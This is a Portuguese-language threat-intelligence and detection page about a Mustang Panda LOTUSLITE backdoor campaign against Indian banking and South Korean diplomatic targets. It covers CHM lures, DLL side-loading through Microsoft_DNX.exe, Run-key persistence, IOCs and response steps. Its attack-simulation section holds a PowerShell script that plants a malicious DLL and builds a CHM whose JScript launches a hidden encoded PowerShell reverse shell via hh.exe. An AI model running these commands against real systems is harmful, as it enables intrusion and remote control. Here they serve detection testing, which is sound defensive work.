Mesmo pacote, magia diferente: Mustang Panda ataca o setor bancário da Índia e a geopolítica da Coreia
Detection stack
- AIDR
- Alert
- ETL
- Query
Resumo
A Unidade de Pesquisa de Ameaças da Acronis descobriu uma nova variante de backdoor LOTUSLITE que visa organizações no setor bancário da Índia e indivíduos ligados a assuntos diplomáticos da Coreia do Sul. O malware é implantado por meio de carregamento lateral de DLL, aproveitando um executável legítimo assinado pela Microsoft para carregar uma biblioteca maliciosa, depois se comunicando com um servidor de comando e controle baseado em DNS dinâmico através de HTTPS. Com base em padrões de infraestrutura e sobreposições de técnicas, os pesquisadores atribuíram a atividade ao Mustang Panda com confiança moderada.
Investigação
Os analistas examinaram um arquivo CHM malicioso, um carregador baseado em JavaScript, e um Microsoft_DNX.exe binário que carregava lateralmente uma DLL contendo a carga útil do LOTUSLITE. Sua análise revelou atualizações nas funções exportadas, convenções de nomenclatura de mutex, comutadores de linha de comando, valores mágicos de pacotes e métodos de resolução de API. A equipe também vinculou a operação a campanhas anteriores do Mustang Panda através de domínios geridos por Dynu reutilizados e infraestrutura de IP associada.
Mitigação
Os defensores devem impedir o carregamento não autorizado de DLLs em executáveis assinados pela Microsoft confiáveis, monitorar os padrões de mutex identificados e argumentos de linha de comando modificados, e aplicar controles rigorosos em torno do tráfego DNS dinâmico. As equipes de segurança também devem detectar o valor mágico de pacote distinto 0xB2EBCFDF e observar modificações suspeitas no HKCU Chave de Execução que possam indicar persistência.
Resposta
Se essa atividade for detectada, isole imediatamente o sistema impactado, termine o processo malicioso e remova a DLL carregada lateralmente e o executável abusado do disco. A memória deve ser capturada para análise forense, credenciais expostas devem ser revogadas, e os domínios de comando e controle identificados e o endereço IP devem ser bloqueados. Uma busca mais ampla também deve ser executada em todo o ambiente para os artefatos de persistência baseados em mutex e no registro vinculados à campanha.
"graph TB %% Class definitions section classDef action fill:#99ccff classDef file fill:#ffcc99 classDef malware fill:#ff9999 classDef process fill:#ccccff classDef persistence fill:#ccffcc %% Nodes action_initial_access["<b>Ação</b> – <b>T1566.001 Anexo de Spearphishing</b><br/>Arquivo CHM (Compiled HTML Help) malicioso enviado por e-mail."] class action_initial_access action file_chm["<b>Arquivo</b> – <b>Nome</b>: Request_for_Support.chm<br/><b>Tipo</b>: Compiled HTML Help"] class file_chm file action_user_execution["<b>Ação</b> – <b>T1204.002 Execução pelo Usuário</b><br/>A vítima abre o CHM, acionando o JavaScript embutido."] class action_user_execution action action_obfuscation["<b>Ação</b> – <b>T1027 Arquivos ou Informações Ofuscadas</b><br/>O JavaScript solta um executável assinado pela Microsoft e uma DLL maliciosa usando ActiveX e HTML oculto."] class action_obfuscation action file_ms_dnx["<b>Arquivo</b> – <b>Nome</b>: Microsoft_DNX.exe<br/><b>Assinatura</b>: Assinado pela Microsoft"] class file_ms_dnx file file_lotuslite["<b>Malware</b> – <b>Nome</b>: DLL variante LotusLite<br/><b>Tipo</b>: Biblioteca de Link Dinâmico"] class file_lotuslite malware action_embedded_payloads["<b>Ação</b> – <b>T1027.009 Cargas Úteis Embutidas</b><br/>CHM contém JavaScript (music.js) que extrai e executa a DLL e o EXE."] class action_embedded_payloads action action_system_binary_proxy["<b>Ação</b> – <b>T1218 Execução de Proxy de Binário de Sistema</b><br/>Microsoft_DNX.exe executa proxy da DLL maliciosa via LoadLibraryExW."] class action_system_binary_proxy action action_trusted_dev_utilities["<b>Ação</b> – <b>T1127 Execução de Proxy de Ferramentas de Desenvolvedor Confiáveis</b><br/>Abuso do Microsoft_DNX.exe, uma ferramenta confiável de runtime .NET, para executar o backdoor."] class action_trusted_dev_utilities action action_script_proxy["<b>Ação</b> – <b>T1216 Execução de Proxy de Script de Sistema</b><br/>JavaScript embutido atua como um proxy de script para abrir o executável."] class action_script_proxy action action_hijack_execution["<b>Ação</b> – <b>T1574.005 Seqüestro do Fluxo de Execução</b><br/>Carregamento lateral de DLL ao colocar uma DLL maliciosa com o mesmo nome no diretório do executável."] class action_hijack_execution action action_persistence["<b>Ação</b> – <b>T1547.014 Execução de Inicialização ou Logon</b><br/>O Active Setup escreve uma chave de Execução em HKCUSoftwareMicrosoftWindowsCurrentVersionRun."] class action_persistence persistence command_and_control["<b>Comando e Controle</b><br/>Implante contata o domínio dinâmico-DNS editor.gleeze.com sobre HTTPS."] class command_and_control process %% Connections showing attack flow action_initial_access –>|entrega| file_chm file_chm –>|aberto pela vítima| action_user_execution action_user_execution –>|aciona| action_obfuscation action_obfuscation –>|solta| file_ms_dnx action_obfuscation –>|solta| file_lotuslite file_ms_dnx –>|usado em| action_system_binary_proxy file_ms_dnx –>|usado em| action_trusted_dev_utilities action_system_binary_proxy –>|carrega| file_lotuslite action_trusted_dev_utilities –>|executa| file_lotuslite action_user_execution –>|executa| action_script_proxy action_script_proxy –>|lança| file_ms_dnx action_obfuscation –>|permite| action_embedded_payloads action_embedded_payloads –>|fornece| action_hijack_execution action_hijack_execution –>|facilita| action_persistence action_persistence –>|estabelece| command_and_control "
Fluxo de Ataque
Detecções
Arquivos suspeitos no perfil público de usuário (via file_event)
Ver
Possíveis Pontos de Persistência [ASEPs – Software/NTUSER Hive] (via registry_event)
Ver
Execução suspeita do perfil público de usuário (via process_creation)
Ver
IOCs (HashSha256) para detectar: Mesmo pacote, magia diferente: Mustang Panda atinge setor bancário da Índia e geopolítica da Coreia
Ver
IOCs (SourceIP) para detectar: Mesmo pacote, magia diferente: Mustang Panda atinge setor bancário da Índia e geopolítica da Coreia
Ver
IOCs (DestinationIP) para detectar: Mesmo pacote, magia diferente: Mustang Panda atinge setor bancário da Índia e geopolítica da Coreia
Ver
Detecção da comunicação de C2 do backdoor LOTUSLITE [Conexão de Rede Windows]
Ver
Detecção do backdoor LOTUSLITE via Microsoft DNX e HH.exe [Criação de Processo do Windows]
Ver
Simulação de Execução
Pré-requisito: O Check preliminar de Telemetria & Baseline deve ter passado.
Justificativa: Esta seção detalha a execução precisa da técnica do adversário (TTP) projetada para acionar a regra de detecção. Os comandos e a narrativa DEVEM refletir diretamente os TTPs identificados e ter como objetivo gerar a telemetria exata esperada pela lógica de detecção.
-
Narrativa & Comandos de Ataque:
-
Estágio DLL maliciosa:
- O invasor copia uma DLL maliciosa (
lotuslite.dll) no mesmo diretório que o legítimoMicrosoft_DNX.exe. Esta DLL contém a carga útil do backdoor.
- O invasor copia uma DLL maliciosa (
-
Execute o carregamento lateral de DLL via Microsoft_DNX.exe:
- Ao iniciar
Microsoft_DNX.exesem argumentos, o Windows carrega a DLL maliciosa primeiro (devido ao sequestro da “ordem de busca”), executando o backdoor.
- Ao iniciar
-
Crie CHM malicioso:
- Um arquivo CHM (
evil.chm) é criado contendo JavaScript que, ao ser renderizado, lança um shell reverso em PowerShell.
- Um arquivo CHM (
-
Acione JavaScript via hh.exe:
- O invasor executa
hh.exe evil.chm, fazendo com que o executável de Ajuda HTML parse o CHM e execute o script embutido, alcançando execução de código sob um binário assinado.
- O invasor executa
Essa sequência gera dois eventos distintos de Criação de Processo Sysmon que coincidem com as condições da regra de detecção.
-
-
Script de Teste de Regressão:
# ------------------------------------------------------------------------- # Simulação LotusLite – carregamento lateral de DLL + execução CHM via hh.exe # ------------------------------------------------------------------------- # Pré-requisitos: # - Sysmon instalado e encaminhando logs. # - Privilégios de administrador (necessário para escrita em Arquivos de Programas). $dnxPath = "$env:ProgramFilesMicrosoftMicrosoft_DNX.exe" $dnxDir = Split-Path $dnxPath -Parent # 1. Implantar DLL maliciosa (carga simulada) $malDllSource = "C:Templotuslite.dll" # <-- substituir pelo caminho real da carga $malDllDest = Join-Path $dnxDir "lotuslite.dll" Copy-Item -Path $malDllSource -Destination $malDllDest -Force # 2. Iniciar Microsoft_DNX.exe para acionar o carregamento lateral de DLL Write-Host "[*] Iniciando Microsoft_DNX.exe para carregamento lateral de DLL..." Start-Process -FilePath $dnxPath -WindowStyle Hidden # 3. Criar CHM malicioso contendo JavaScript (exemplo simplificado) $chmPath = "C:Tempevil.chm" $htmlContent = @" <HTML><HEAD> <SCRIPT language=`"JScript`"> var shell = new ActiveXObject("WScript.Shell"); shell.Run("powershell -nop -w hidden -EncodedCommand <base64-rev-shell>", 0); </SCRIPT> </HEAD><BODY></BODY></HTML> "@ $tempHtml = "C:Tempevil.html" $htmlContent | Out-File -FilePath $tempHtml -Encoding ASCII # Use makecab para empacotar o HTML em um CHM (requer ferramentas SDK do Windows) $makeCab = "$env:WINDIRsystem32makecab.exe" & $makeCab /D "CompressionType=MSZIP" $tempHtml $chmPath # 4. Execute o CHM via hh.exe Write-Host "[*] Iniciando hh.exe no CHM malicioso..." Start-Process -FilePath "$env:SystemRootSystem32hh.exe" -ArgumentList $chmPath -WindowStyle Hidden # Limpar arquivos temporários (manter DLL maliciosa para análise pós-execução) Remove-Item $tempHtml -Force Write-Host "[*] Simulação completa." -
Comandos de Limpeza:
# ------------------------------------------------------------------------- # Limpeza para Simulação LotusLite # ------------------------------------------------------------------------- $dnxPath = "$env:ProgramFilesMicrosoftMicrosoft_DNX.exe" $dnxDir = Split-Path $dnxPath -Parent $malDllDest = Join-Path $dnxDir "lotuslite.dll" $chmPath = "C:Tempevil.chm" # Remover DLL maliciosa if (Test-Path $malDllDest) { Remove-Item $malDllDest -Force Write-Host "[*] Removida DLL maliciosa." } # Remover CHM if (Test-Path $chmPath) { Remove-Item $chmPath -Force Write-Host "[*] Removido CHM malicioso." } # Opcionalmente terminar processos persistentes (se houver) Get-Process -Name "Microsoft_DNX","hh" -ErrorAction SilentlyContinue | Stop-Process -Force Write-Host "[*] Limpeza concluída."